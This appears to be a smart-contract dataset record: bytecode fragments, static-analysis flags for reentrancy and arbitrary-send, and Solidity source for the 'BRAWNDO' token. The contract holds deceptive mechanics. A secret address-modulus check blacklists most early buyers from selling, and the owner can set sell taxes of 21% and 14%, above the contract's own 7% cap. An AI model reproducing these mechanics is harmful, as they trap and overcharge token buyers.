50565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d695408330f73daf71823c0acb577bdd0622860e4cc0fd8185154cbdc6120ab64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,353
0xe17655022cfe9E2B30d90B6744e3bF68202d32e0
//SPDX-License-Identifier: MIT /* ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░▌ ▐░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌▐░▌░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▄ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌░▌ ▐░▐░▌▐░▌ ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌ ▐░░░░░░░░░░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░░▌ ▐░░▌▐░▌ ▐░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌ ▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀ ▀▀ ▀▀ ▀ ▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ _____ _ _ ___ _____ _ _ ___ ___ ___ _____ __ __ _ _ _____ ___ _ _ _____ ___ ___ |_ _| || | __| |_ _| || |_ _| _ \/ __|_ _| | \/ | | | |_ _|_ _| | /_\_ _/ _ \| _ \ | | | __ | _| | | | __ || || /\__ \ | | | |\/| | |_| | | | | || |__ / _ \| || (_) | / |_| |_||_|___| |_| |_||_|___|_|_\|___/ |_| |_| |_|\___/ |_| |___|____/_/ \_\_| \___/|_|_\ */ pragma solidity 0.8.11; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; } function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BRAWNDO is IERC20, Auth { string constant _name = "Brawndo"; // It's got electrolytes string constant _symbol = "BRAWNDO"; // IT'S GOT ELECTROLYTES uint8 constant _decimals = 9; uint256 constant _totalSupply = 1_000_000_000 * 10**_decimals; uint32 immutable _smd; uint32 immutable _smr; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; bool public tradingOpen; uint256 public maxTxAmount; uint256 public maxWalletAmount; uint256 public taxSwapMin; uint256 public taxSwapMax; mapping (address => bool) private _isLiqPool; uint16 public snipersCaught = 0; uint8 constant _maxTaxRate = 7; uint8 public buyTaxRate; uint8 public sellTaxRate; uint8 public txTaxRate; uint16 private _autoLPShares = 500; uint16 private _marketingShares = 200; uint16 private _buybackShares = 500; uint16 private _totalTaxShares = _autoLPShares + _marketingShares + _buybackShares; address constant _burnWallet = address(0); bool public autoBurnLP = false; uint256 private _humanBlock = 0; mapping (address => bool) private _nonSniper; mapping (address => uint256) private _blacklistBlock; uint8 private _gasPriceBlocks = 10; uint256 blackGwei = 20 * 10**9; address payable private marketingWallet = payable(0x8A314049AdaB55c3d50A0F4308CF5F9418a77630); address payable private buybackWallet = payable(0x956b0dB0BB56C716B2A572436eF93C36ceb1B609); bool private _inTaxSwap = false; address private constant _uniswapV2RouterAddress = address(0x03f7724180AA6b939894B5Ca4314783B0b36b329); // ShibaSwap IUniswapV2Router02 private _uniswapV2Router; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } constructor (uint32 smd, uint32 smr) Auth(msg.sender) { tradingOpen = false; maxTxAmount = _totalSupply; maxWalletAmount = _totalSupply; taxSwapMin = _totalSupply * 10 / 10000; taxSwapMax = _totalSupply * 50 / 10000; _uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress); _noFees[owner] = true; _noFees[address(this)] = true; _noFees[_uniswapV2RouterAddress] = true; _noFees[marketingWallet] = true; _noFees[buybackWallet] = true; _noLimits[marketingWallet] = true; _noLimits[buybackWallet] = true; _smd = smd; _smr = smr; _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _balances[address(this)]); } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(), "Trading not open"); if (_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function initLP(uint256 ethAmountWei) external onlyOwner { require(!tradingOpen, "trading already open"); require(ethAmountWei > 0, "eth cannot be 0"); _nonSniper[address(this)] = true; _nonSniper[owner] = true; _nonSniper[marketingWallet] = true; _nonSniper[buybackWallet] = true; uint256 _contractETHBalance = address(this).balance; require(_contractETHBalance >= ethAmountWei, "not enough eth"); uint256 _contractTokenBalance = balanceOf(address(this)); require(_contractTokenBalance > 0, "no tokens"); address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _isLiqPool[_uniLpAddr] = true; _nonSniper[_uniLpAddr] = true; _approveRouter(_contractTokenBalance); _addLiquidity(_contractTokenBalance, ethAmountWei, autoBurnLP); _openTrading(); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) { _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max; emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max); } } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = _burnWallet; if ( !autoburn ) { lpTokenRecipient = owner; } _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function setAutoLpBurnFINAL() external onlyOwner { // One time use only, once AutoLP is set to burn there is no way to change it back; be absolutely sure before you call this function. require(!autoBurnLP, "AutoLP already set to burn"); autoBurnLP = true; } function openTrading() external onlyOwner { require(!tradingOpen, "trading already open"); _openTrading(); } function _openTrading() internal { _humanBlock = block.number + 6; maxTxAmount = 51 * _totalSupply / 10000 + 10**_decimals; maxWalletAmount = 51 * _totalSupply / 10000 + 10**_decimals; buyTaxRate = 5; sellTaxRate = 3 * _maxTaxRate; txTaxRate = 5; tradingOpen = true; } function humanize() external onlyOwner{ require(_humanBlock > block.number, "already humanized"); _humanize(0); } function _humanize(uint8 blkcount) internal { if ( _humanBlock > block.number || _humanBlock == 0 ) { _humanBlock = block.number + blkcount; } } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); if ( _humanBlock > block.number ) { if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); } else if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number); } else { _addBlacklist(recipient, _blacklistBlock[sender]); } } else { if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender]); } if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice > block.basefee ) { uint256 priceDiff = tx.gasprice - block.basefee; if ( priceDiff >= blackGwei ) { revert("Gas price over limit"); } } } if ( tradingOpen && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); } if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify(); } if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; } _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _addBlacklist(address wallet, uint256 snipeBlockNum) internal { if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) { _blacklistBlock[wallet] = snipeBlockNum; snipersCaught ++; } } function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( tradingOpen && !_noLimits[recipient] ) { if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen() private view returns (bool){ bool checkResult = false; if ( tradingOpen ) { checkResult = true; } else if ( tx.origin == owner ) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; } else if ( _isLiqPool[sender] ) { taxAmount = amount * buyTaxRate / 100; } else if ( _isLiqPool[recipient] ) { taxAmount = amount * sellTaxRate / 100; } else { taxAmount = amount * txTaxRate / 100; } return taxAmount; } function isBlacklisted(address wallet) external view returns(bool) { if ( _blacklistBlock[wallet] != 0 ) { return true; } else { return false; } } function blacklistedInBlock(address wallet) external view returns(uint256) { return _blacklistBlock[wallet]; } function ignoreFees(address wallet, bool toggle) external onlyOwner { _noFees[ wallet ] = toggle; } function ignoreLimits(address wallet, bool toggle) external onlyOwner { if ( wallet == _burnWallet ) { require(toggle, "Zero wallet must be unlimited"); } _noLimits[ wallet ] = toggle; } function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner { require(newBuyTax <= _maxTaxRate && newSellTax <= _maxTaxRate && newTxTax <= _maxTaxRate, "Tax too high"); buyTaxRate = newBuyTax; sellTaxRate = newSellTax; txTaxRate = newTxTax; } function enableBuySupport() external onlyOwner { buyTaxRate = 0; sellTaxRate = 2 * _maxTaxRate; } function setTaxDistribution(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesBuyback) external onlyOwner { _autoLPShares = sharesAutoLP; _marketingShares = sharesMarketing; _buybackShares = sharesBuyback; _totalTaxShares = sharesAutoLP + sharesMarketing + sharesBuyback; } function setTaxWallets(address newMarketingWallet, address newBuybackWallet) external onlyOwner { marketingWallet = payable(newMarketingWallet); buybackWallet = payable(newBuybackWallet); _noFees[newMarketingWallet] = true; _noFees[newBuybackWallet] = true; } function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1; require(newTxAmt >= maxTxAmount, "tx limit too low"); maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1; require(newWalletAmt >= maxWalletAmount, "wallet limit too low"); maxWalletAmount = newWalletAmt; } function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { taxSwapMin = _totalSupply * minValue / minDivider; taxSwapMax = _totalSupply * maxValue / maxDivider; } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = balanceOf(address(this)); if ( _taxTokensAvailable >= taxSwapMin && tradingOpen ) { if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; uint256 _ethPreSwap = address(this).balance; _swapTaxTokensForEth(_tokensToSwap); uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( _autoLPShares > 0 ) { uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ; _approveRouter(_tokensForLP); _addLiquidity(_tokensForLP, _ethWeiAmount, autoBurnLP); } uint256 _contractETHBalance = address(this).balance; if (_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 _tokenAmount) private { _approveRouter(_tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 _amount) private { uint16 _taxShareTotal = _marketingShares + _buybackShares; if ( _marketingShares > 0 ) { marketingWallet.transfer(_amount * _marketingShares / _taxShareTotal); } if ( _buybackShares > 0 ) { buybackWallet.transfer(_amount * _buybackShares / _taxShareTotal); } } function taxTokensSwap() external onlyOwner { uint256 taxTokenBalance = balanceOf(address(this)); require(taxTokenBalance > 0, "No tokens"); _swapTaxTokensForEth(taxTokenBalance); } function taxEthSend() external onlyOwner { _distributeTaxEth(address(this).balance); } }
0x60806040526004361061021e5760003560e01c806395d89b4111610123578063dd62ed3e116100ab578063ed7b6bb51161006f578063ed7b6bb514610782578063f2fde38b14610799578063fe575a87146107c2578063fee9fb31146107ff578063ffb54a991461082a57610225565b8063dd62ed3e1461069d578063de1a356c146106da578063e4dbc45b14610703578063e79d41601461072c578063eb8199481461075757610225565b8063aa4bde28116100f2578063aa4bde28146105f0578063b14218031461061b578063c9567bf914610644578063db8615991461065b578063dca2a8b61461068657610225565b806395d89b41146105485780639c5fd04814610573578063a9059cbb1461059c578063a9c41c6a146105d957610225565b8063691f224f116101a6578063740bf49711610175578063740bf4971461046157806383dcebb11461048a578063893d20e8146104b55780638bfd1d8e146104e05780638c0b5e221461051d57610225565b8063691f224f146103a75780636969c1a4146103d257806370a08231146103fb57806371ebe1c31461043857610225565b80631c939ee9116101ed5780631c939ee9146102e65780631cbbe3e4146102fd57806323b872dd1461031457806324024efd14610351578063313ce5671461037c57610225565b806306fdde031461022a578063095ea7b31461025557806309ef509f1461029257806318160ddd146102bb57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610855565b60405161024c9190613a6e565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190613b29565b610892565b6040516102899190613b84565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613bd8565b610984565b005b3480156102c757600080fd5b506102d0610ad8565b6040516102dd9190613c3a565b60405180910390f35b3480156102f257600080fd5b506102fb610afc565b005b34801561030957600080fd5b50610312610b95565b005b34801561032057600080fd5b5061033b60048036038101906103369190613c55565b610c73565b6040516103489190613b84565b60405180910390f35b34801561035d57600080fd5b50610366610e7c565b6040516103739190613cb7565b60405180910390f35b34801561038857600080fd5b50610391610e8f565b60405161039e9190613cb7565b60405180910390f35b3480156103b357600080fd5b506103bc610e98565b6040516103c99190613cb7565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613cd2565b610eab565b005b34801561040757600080fd5b50610422600480360381019061041d9190613cff565b6114ac565b60405161042f9190613c3a565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190613d58565b6114f5565b005b34801561046d57600080fd5b5061048860048036038101906104839190613d98565b611654565b005b34801561049657600080fd5b5061049f611818565b6040516104ac9190613cb7565b60405180910390f35b3480156104c157600080fd5b506104ca61182b565b6040516104d79190613de7565b60405180910390f35b3480156104ec57600080fd5b5061050760048036038101906105029190613cff565b611854565b6040516105149190613c3a565b60405180910390f35b34801561052957600080fd5b5061053261189d565b60405161053f9190613c3a565b60405180910390f35b34801561055457600080fd5b5061055d6118a3565b60405161056a9190613a6e565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190613d58565b6118e0565b005b3480156105a857600080fd5b506105c360048036038101906105be9190613b29565b6119c9565b6040516105d09190613b84565b60405180910390f35b3480156105e557600080fd5b506105ee611a25565b005b3480156105fc57600080fd5b50610605611b20565b6040516106129190613c3a565b60405180910390f35b34801561062757600080fd5b50610642600480360381019061063d9190613e3c565b611b26565b005b34801561065057600080fd5b50610659611ce4565b005b34801561066757600080fd5b50610670611dcc565b60405161067d9190613c3a565b60405180910390f35b34801561069257600080fd5b5061069b611dd2565b005b3480156106a957600080fd5b506106c460048036038101906106bf9190613d98565b611ebc565b6040516106d19190613c3a565b60405180910390f35b3480156106e657600080fd5b5061070160048036038101906106fc9190613e7c565b611f43565b005b34801561070f57600080fd5b5061072a60048036038101906107259190613f0b565b61205f565b005b34801561073857600080fd5b5061074161217d565b60405161074e9190613f81565b60405180910390f35b34801561076357600080fd5b5061076c612191565b6040516107799190613c3a565b60405180910390f35b34801561078e57600080fd5b50610797612197565b005b3480156107a557600080fd5b506107c060048036038101906107bb9190613fda565b61226b565b005b3480156107ce57600080fd5b506107e960048036038101906107e49190613cff565b612373565b6040516107f69190613b84565b60405180910390f35b34801561080b57600080fd5b506108146123ce565b6040516108219190613b84565b60405180910390f35b34801561083657600080fd5b5061083f6123e1565b60405161084c9190613b84565b60405180910390f35b60606040518060400160405280600781526020017f427261776e646f00000000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109729190613c3a565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990614079565b60405180910390fd5b600760ff168360ff1611158015610a305750600760ff168260ff1611155b8015610a435750600760ff168160ff1611155b610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906140e5565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b60006009600a610ae89190614267565b633b9aca00610af791906142b2565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8190614079565b60405180910390fd5b610b93476123f4565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90614079565b60405180910390fd5b43600c5411610c67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5e90614358565b60405180910390fd5b610c716000612592565b565b6000610c7d6125c2565b610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb3906143c4565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e685781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de791906143e4565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e73848484612648565b90509392505050565b600b60039054906101000a900460ff1681565b60006009905090565b600b60029054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090614079565b60405180910390fd5b600560009054906101000a900460ff1615610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090614464565b60405180910390fd5b60008111610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc3906144d0565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000479050818110156111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d09061453c565b60405180910390fd5b60006111e4306114ac565b905060008111611229576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611220906145a8565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611298573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bc91906145dd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611345573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136991906145dd565b6040518363ffffffff1660e01b815260040161138692919061460a565b6020604051808303816000875af11580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c991906145dd565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061148482612db6565b61149e8285600b600d9054906101000a900460ff16612fa0565b6114a661307e565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90614079565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115f957806115f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ef9061467f565b60405180910390fd5b5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d990614079565b60405180910390fd5b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60049054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60606040518060400160405280600781526020017f425241574e444f00000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196590614079565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006119d36125c2565b611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906143c4565b60405180910390fd5b611a1d338484612648565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90614079565b60405180910390fd5b600b600d9054906101000a900460ff1615611b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afa906146eb565b60405180910390fd5b6001600b600d6101000a81548160ff021916908315150217905550565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab90614079565b60405180910390fd5b600060016103e88461ffff166009600a611bce9190614267565b633b9aca00611bdd91906142b2565b611be791906142b2565b611bf1919061473a565b611bfb919061476b565b9050600654811015611c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c399061480d565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611c639190614267565b633b9aca00611c7291906142b2565b611c7c91906142b2565b611c86919061473a565b611c90919061476b565b9050600754811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90614879565b60405180910390fd5b8060078190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526